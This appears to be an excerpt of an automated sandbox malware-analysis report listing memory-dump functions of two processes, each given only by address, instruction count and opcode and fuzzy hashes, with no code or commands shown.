                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: a576e78fa9c64adc7b0e7f4ccf1062fc0e5c72bef04baa86229fd5b4ece59a4a
                                                                    • Instruction ID: 68a8994479ad27fee6d7210bf2718805dc2b637edf86d722ffa5ad31486742c3
                                                                    • Opcode Fuzzy Hash: a576e78fa9c64adc7b0e7f4ccf1062fc0e5c72bef04baa86229fd5b4ece59a4a
                                                                    • Instruction Fuzzy Hash: 77315621F1991E4FEBB4EBA8C5657B862D2FF9C700F5601B5D40DD72A2DE38AE808750
                                                                    Function 00007FFD9B8A119D Relevance: .1, Instructions: 95COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: d60ed2cb88efe305338e625dd0c121526ffa3746942fd92386ef72518683ac6a
                                                                    • Instruction ID: 69b647b5bb84432b9ab5378aab396462d5e1ee55f3fea841043b862b0c04f983
                                                                    • Opcode Fuzzy Hash: d60ed2cb88efe305338e625dd0c121526ffa3746942fd92386ef72518683ac6a
                                                                    • Instruction Fuzzy Hash: AD319531A0954E8FDB55EB68C864ABD7BF0FF6A300F0505BAD04DD72A2DE38A941CB50
                                                                    Function 00007FFD9B8A0C25 Relevance: .1, Instructions: 88COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: c503aba5c61b8333c741e018b211b31d3fcd6745564ee49ca392e40910b8b3b9
                                                                    • Instruction ID: b1aa4989bb2d68041c33496a0047f6b38ad94507129fc5e3d9f83caa6d2ee3ea
                                                                    • Opcode Fuzzy Hash: c503aba5c61b8333c741e018b211b31d3fcd6745564ee49ca392e40910b8b3b9
                                                                    • Instruction Fuzzy Hash: 21213A36B1E29D8BE722A7A89C650EC7B60EF46324F0542F3C04C8B1D3E92826478791
                                                                    Function 00007FFD9B8A0C38 Relevance: .1, Instructions: 57COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: a984cbd22180733297cc7e4fae21222ffd50906e9b55d87907604edc1c49f5e0
                                                                    • Instruction ID: 17c65ffabebc7a29dae4adab7dfbd20eb42d3728e30ca0914fe6c03a50ea7633
                                                                    • Opcode Fuzzy Hash: a984cbd22180733297cc7e4fae21222ffd50906e9b55d87907604edc1c49f5e0
                                                                    • Instruction Fuzzy Hash: 3911CA31F1E68D9FE712DBA888611AD7BB0EF56710F0645F3C048DB1E2D93866468790
                                                                    Function 00007FFD9B8A0C40 Relevance: .1, Instructions: 51COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 9518034318497dfe07e6a5edc11fe6c8a8753c3f508cac9fa22758f988f2be76
                                                                    • Instruction ID: 2a381abf4d95de73088a521e9370b6833521781d10bd0de368e4fc9cfa5ce87c
                                                                    • Opcode Fuzzy Hash: 9518034318497dfe07e6a5edc11fe6c8a8753c3f508cac9fa22758f988f2be76
                                                                    • Instruction Fuzzy Hash: 9A11C831F1E68D9FE712DBA4C86119D7BB0EF56710F0641F7C048DB2E2D93866468790
                                                                    Function 00007FFD9B8A0C48 Relevance: .0, Instructions: 45COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 0cd612f612d38732f10a64f1db1d2022357d36ebdbabb7357384fec53c733172
                                                                    • Instruction ID: 20c891e645ca5af67f96364e24ab96b58d138816b97e8cfaa4f115233cc7776d
                                                                    • Opcode Fuzzy Hash: 0cd612f612d38732f10a64f1db1d2022357d36ebdbabb7357384fec53c733172
                                                                    • Instruction Fuzzy Hash: E1019231E1E28D9FE722DBA4C89059D7FB0EF16710F1641F7C048DB2E2E93866468790
                                                                    Function 00007FFD9B8A0C50 Relevance: .0, Instructions: 40COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 4f24fb75671b6746ab76984d3e63651b60b74b1a91160a8ed7ca616d2dec6bb9
                                                                    • Instruction ID: c4ad6b607c0ae12b28a8e59fae924cceb61393f27ca3733555040eff623ff972
                                                                    • Opcode Fuzzy Hash: 4f24fb75671b6746ab76984d3e63651b60b74b1a91160a8ed7ca616d2dec6bb9
                                                                    • Instruction Fuzzy Hash: 99018430E1E28D9FEB22DBA488A459D7FB0EF1A714F1541F7C048DB2E2E93867458750
                                                                    Function 00007FFD9B8A176E Relevance: .0, Instructions: 40COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 50f798e952c05969147e59e29c1a68a2942833715b29dea9ef237b843152bd96
                                                                    • Instruction ID: 4f778d81d36259f9a93e87edd2e6c667d494324a6e82e5d1e005f3caa26aa94d
                                                                    • Opcode Fuzzy Hash: 50f798e952c05969147e59e29c1a68a2942833715b29dea9ef237b843152bd96
                                                                    • Instruction Fuzzy Hash: 00F0AF22F0981A8BE768FA44C86A6A83392EB59710F064375D41DC72EAEE1C6A018391
                                                                    Function 00007FFD9B8A3FF0 Relevance: .0, Instructions: 39COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: d4de4fbaffe24e4cdb58ec758012a32d12d06c90f9b04acdb3b6dea006b80d05
                                                                    • Instruction ID: 20e6bdc38da67a29917af99523b25628be7ea1ea8cc0b081b043d973c6fd59ec
                                                                    • Opcode Fuzzy Hash: d4de4fbaffe24e4cdb58ec758012a32d12d06c90f9b04acdb3b6dea006b80d05
                                                                    • Instruction Fuzzy Hash: 63014471A089588FDF65DB04C854FAEB3B1FB68304F0545A9D40EE7264DB34AE84CF81
                                                                    Function 00007FFD9B8A3FFF Relevance: .0, Instructions: 35COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: bcca1465f691b2d2f647c27a4b9ca9abd7696a380a06eec8785877f21a618bbe
                                                                    • Instruction ID: 3d8d867aeff52ee1adafd704c32cad867e9c3d5c706055f5a1659c049fce57fb
                                                                    • Opcode Fuzzy Hash: bcca1465f691b2d2f647c27a4b9ca9abd7696a380a06eec8785877f21a618bbe
                                                                    • Instruction Fuzzy Hash: 81F03130A089588FCF54EB04C894F9E73B1FBA8301F018699D00EE7264DA34AE84CF85
                                                                    Function 00007FFD9B8A2F0B Relevance: .0, Instructions: 35COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: aa69fec6b4429639b23ef6693e96b365e6c0c4b016e0f38c26a298fa285c5519
                                                                    • Instruction ID: c87d009323284da463da7036fd08a4ea4c261719d5ab4f8883898cc4145b7011
                                                                    • Opcode Fuzzy Hash: aa69fec6b4429639b23ef6693e96b365e6c0c4b016e0f38c26a298fa285c5519
                                                                    • Instruction Fuzzy Hash: 1EF03130B1951E8AEB74AF94C9A4BF87362EF88711F1201B9C00DD31A2DE3C6A818B10
                                                                    Function 00007FFD9B8A1D9C Relevance: .0, Instructions: 21COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: c6ab363836b5886034f7a43c8693565c541e6e60fba7df9961d65f11f34bc7f2
                                                                    • Instruction ID: 3f732a2d150bf5b5eea44acebab0be1bccc53e2377d8ef5561596f48142912ef
                                                                    • Opcode Fuzzy Hash: c6ab363836b5886034f7a43c8693565c541e6e60fba7df9961d65f11f34bc7f2
                                                                    • Instruction Fuzzy Hash: 9CE01260F0911A87F7B46788C4A07A96250EB89310F1551B8EA4E933E5DE2CAE458B65
                                                                    Function 00007FFD9B8A0B95 Relevance: .0, Instructions: 19COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 84da47e8a84d7c7bda6fe4433242c964a2a7c5542f6b8e5b554b8c59c440ec5d
                                                                    • Instruction ID: de654c508305922a4ffb26993a969a68099e2c54d639b812add04ef50c45a2cd
                                                                    • Opcode Fuzzy Hash: 84da47e8a84d7c7bda6fe4433242c964a2a7c5542f6b8e5b554b8c59c440ec5d
                                                                    • Instruction Fuzzy Hash: D3D0A930229A4E8FCA00B778C88A824BBA0FB4F211BCA10E1E008C75B6C61888A9C700
                                                                    Function 00007FFD9B8A06A5 Relevance: .0, Instructions: 13COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: c557962ecdf9a645250e69c81db5121ef9feda43b66054d61157a3cc4c3d3c8f
                                                                    • Instruction ID: 4ca3a68bbe8279c4ec46b375010c534f4f2296f3820c8ba4e3c74b5933283ea8
                                                                    • Opcode Fuzzy Hash: c557962ecdf9a645250e69c81db5121ef9feda43b66054d61157a3cc4c3d3c8f
                                                                    • Instruction Fuzzy Hash: 38C04C05F6B61F01F83577EE98660ADA1405BDDF14FD71173D54D400E5AC4D26DA0177
                                                                    Function 00007FFD9B8A0B18 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 4c576b335eb65a8f3352678227d99615bd88c885f1ae07bafee35a7c8a1f1215
                                                                    • Instruction ID: 2a5b771f5b98aeb05ec2517c85d18d4a2112b68d9f8867f36f3fddf9e0f30ca9
                                                                    • Opcode Fuzzy Hash: 4c576b335eb65a8f3352678227d99615bd88c885f1ae07bafee35a7c8a1f1215
                                                                    • Instruction Fuzzy Hash: 71C04C305118098FCA54E76DC98596476A0FB0E215BD60190E41EC7171E65AEDD5C741
                                                                    Function 00007FFD9B8A1310 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: ded74a042e7444421a90b7133b5d1c50d87903aa23d20065afb2b17ec0c1f309
                                                                    • Instruction ID: ba79e78e0d083cf1c6df1ef3ec21b166e9539216fe04f722f1fff0aa3c2d7591
                                                                    • Opcode Fuzzy Hash: ded74a042e7444421a90b7133b5d1c50d87903aa23d20065afb2b17ec0c1f309
                                                                    • Instruction Fuzzy Hash: 64C08C3055280C8FC968EB69C89881437A0FB0D204BC20090E008C7170E229DCC0C740
                                                                    Function 00007FFD9B8A0540 Relevance: .0, Instructions: 9COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 7290849d3a4f824c9038adf1d6d595f68aba8562a3c154de17bdb756897f64c3
                                                                    • Instruction ID: 2413869b04fb5cd0953d3a2b1a0f15548d46832497570b32f3202ea7224240fa
                                                                    • Opcode Fuzzy Hash: 7290849d3a4f824c9038adf1d6d595f68aba8562a3c154de17bdb756897f64c3
                                                                    • Instruction Fuzzy Hash: D0B09220D5760F82DA3833B51852074B094AB0A204FD201B4D408401A1E8AE62D58262
                                                                    Function 00007FFD9B8A06C8 Relevance: .0, Instructions: 8COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 238015f6f33a3da4d6ce6ec078ef859a9a1607d6ec88d974f6e5f5684b3ba60c
                                                                    • Instruction ID: 1e2db3e6af7f508ba2fb937b245a93d4f402cc34fdddf11bedac49770f9fdcf4
                                                                    • Opcode Fuzzy Hash: 238015f6f33a3da4d6ce6ec078ef859a9a1607d6ec88d974f6e5f5684b3ba60c
                                                                    • Instruction Fuzzy Hash: 09B01200D6740F00E42433FB0CA20A970405B4C300FC61070D40D40095988D26AA0263

                                                                    Executed Functions

                                                                    Function 00007FFD9B890D77 Relevance: .3, Instructions: 255COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: cf4fc6e96edf03ab57b320a7f4ba68e62f951e89d327776cef9ff56bf786f991
                                                                    • Instruction ID: 27c87d9e975e7126d27a22819799227f792d51ffece76cec27b8320ba7e56285
                                                                    • Opcode Fuzzy Hash: cf4fc6e96edf03ab57b320a7f4ba68e62f951e89d327776cef9ff56bf786f991
                                                                    • Instruction Fuzzy Hash: E291F571A18A8D4FEB59EB6888797A9BFF1FF99300F4400BAD049D72DADF7814018B41
                                                                    Function 00007FFD9B890998 Relevance: .1, Instructions: 105COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: cf5cc9670bf25f330ff472c4722548e234582159b145abbb3bce4eb603225676
                                                                    • Instruction ID: 524b74517107b919f782a158dd828d1c8d3055f3163dfa15513704ec14323131
                                                                    • Opcode Fuzzy Hash: cf5cc9670bf25f330ff472c4722548e234582159b145abbb3bce4eb603225676
                                                                    • Instruction Fuzzy Hash: DC210620F1DD1D5FEB98FB6C946A67576D2EF9C315B4500B9E40DC32EAED28AC424341
                                                                    Function 00007FFD9B892E40 Relevance: .1, Instructions: 97COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 92009a22173e0a24d2895dcfcb9b229d7b510742e2fd124fa1808fd05c8f672f
                                                                    • Instruction ID: bbeddf03ac836c120a61e9a094ad54df1cceed1594f284aa853550d92cae8af5
                                                                    • Opcode Fuzzy Hash: 92009a22173e0a24d2895dcfcb9b229d7b510742e2fd124fa1808fd05c8f672f
                                                                    • Instruction Fuzzy Hash: CC314921F1991E4FEFB4EB94C4A57BC6691BF9C710F5201B5D40ED72A2DE28AE404700
                                                                    Function 00007FFD9B89119D Relevance: .1, Instructions: 95COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 136372ea180f2f6d8171bae0f24811ba11003fb232dbbdbe716cb3055afd5a17
                                                                    • Instruction ID: 38c517abed6c3dd4728c1db2bebdacf0c65572a11f22bf55f1aa6aab23683025
                                                                    • Opcode Fuzzy Hash: 136372ea180f2f6d8171bae0f24811ba11003fb232dbbdbe716cb3055afd5a17
                                                                    • Instruction Fuzzy Hash: 8B318231A0D64E9FDF55EBA8C8649BD7BF1FF59300B0505BAC009D72A2DE28A941C740
                                                                    Function 00007FFD9B890C25 Relevance: .1, Instructions: 88COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: e45ca330325f268fdd5a3ae42f622fffc530e7e2398bc9bf0f564b9048a838d9
                                                                    • Instruction ID: a66d695bbfd3365c4db7f9c51a84464177f41bbe85fae911988c72292c517121
                                                                    • Opcode Fuzzy Hash: e45ca330325f268fdd5a3ae42f622fffc530e7e2398bc9bf0f564b9048a838d9
                                                                    • Instruction Fuzzy Hash: 0A213736B1E25E8FEB26A7A8AC650EC7F60EF45324F0541F3D058CB1D3D92826469381
                                                                    Function 00007FFD9B890C38 Relevance: .1, Instructions: 57COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 2caebd000906bccf4f534a25cec352e6d867284788f31d7152da56a21c70b15a
                                                                    • Instruction ID: 7fa63724d7345ca05e965cb95c9508bd39b244721feb9fb79b576a14bdf30faa
                                                                    • Opcode Fuzzy Hash: 2caebd000906bccf4f534a25cec352e6d867284788f31d7152da56a21c70b15a
                                                                    • Instruction Fuzzy Hash: B211C232F1E68D8FEB22DBA8986119D7FB0EF55714F0645F7C054DB2A2D938264A8780
                                                                    Function 00007FFD9B890C40 Relevance: .1, Instructions: 51COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: b4fe8a96acab746b2dbee3357857d12ae0699af09b7d57196d273faf75e81cf5
                                                                    • Instruction ID: 001ee003bafcabe7c843db852ea139d69095ee5eec91eeb936c29284d9c63eb1
                                                                    • Opcode Fuzzy Hash: b4fe8a96acab746b2dbee3357857d12ae0699af09b7d57196d273faf75e81cf5
                                                                    • Instruction Fuzzy Hash: 0B11C432F1E68D8FEB12DBA8886419D7FB0EF56714F0641F7D054DB2A2D938664A8780
                                                                    Function 00007FFD9B890C48 Relevance: .0, Instructions: 45COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 09fcf8ca6534f8087352244799982efd5cde37bcd6fb1126f751b650eefa8837
                                                                    • Instruction ID: 007f89241be4415b7827f9c970fe3c2f68a76761bc2c02e0ef9b679a0b745aae
                                                                    • Opcode Fuzzy Hash: 09fcf8ca6534f8087352244799982efd5cde37bcd6fb1126f751b650eefa8837
                                                                    • Instruction Fuzzy Hash: 7101D231E1E28DCFEB12DBA4885009D7FB0EF06704F0641F7D054DB2A2D93866458780
                                                                    Function 00007FFD9B890C50 Relevance: .0, Instructions: 40COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 2159928b77fec603f433d57ed82b2ce6489177896e1805d50edd08f871573740
                                                                    • Instruction ID: c3c124b4cd124c81817529b4044a8c37b0371bebae1c4a14f238fe778673d881
                                                                    • Opcode Fuzzy Hash: 2159928b77fec603f433d57ed82b2ce6489177896e1805d50edd08f871573740
                                                                    • Instruction Fuzzy Hash: AE01BC31E1E28DDFEB22DBA488A409D7FB0EF1A704F1541F7D054CB2A2D9386A458780
                                                                    Function 00007FFD9B893FF0 Relevance: .0, Instructions: 39COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 1287aa9a9d1b5abf4dfa24f1131599722917d27631527aa2bef63b4acb863456
                                                                    • Instruction ID: ba1d99f42b2278fda880bb1e7d4a58f9c731282ab78ca332782503af05a8d7e0
                                                                    • Opcode Fuzzy Hash: 1287aa9a9d1b5abf4dfa24f1131599722917d27631527aa2bef63b4acb863456
                                                                    • Instruction Fuzzy Hash: 2A014471A089588FDF64DB04C854FAEB7B1FB68304F0545A9D40EA7264DB34AA84CF81
                                                                    Function 00007FFD9B89176E Relevance: .0, Instructions: 38COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 150a890913711ce08c55b31ad01012a3b05a42c62198d43901fae6f6de7581a0
                                                                    • Instruction ID: 26795ff3fc7443c5d7fad7d0a3b34262d981bffcb42870303279153ba6943462
                                                                    • Opcode Fuzzy Hash: 150a890913711ce08c55b31ad01012a3b05a42c62198d43901fae6f6de7581a0
                                                                    • Instruction Fuzzy Hash: 5BF0C822F0D91A9BEB69FB04C8655A82392EF55310F054375D41DC72E9DE1C6A0543C1
                                                                    Function 00007FFD9B893FFF Relevance: .0, Instructions: 35COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000035.00000002.2306851648.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_53_2_7ffd9b890000_RuntimeBroker.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 84eb326c0573f33e5a684a17e6675d6768b3a0cf1c95bf5e3a9116896f56f58f
                                                                    • Instruction ID: 529dc4c3a7b7fba0eb40163ffbb9e904745fa0296a9ce91f36fa2edd10caebb0
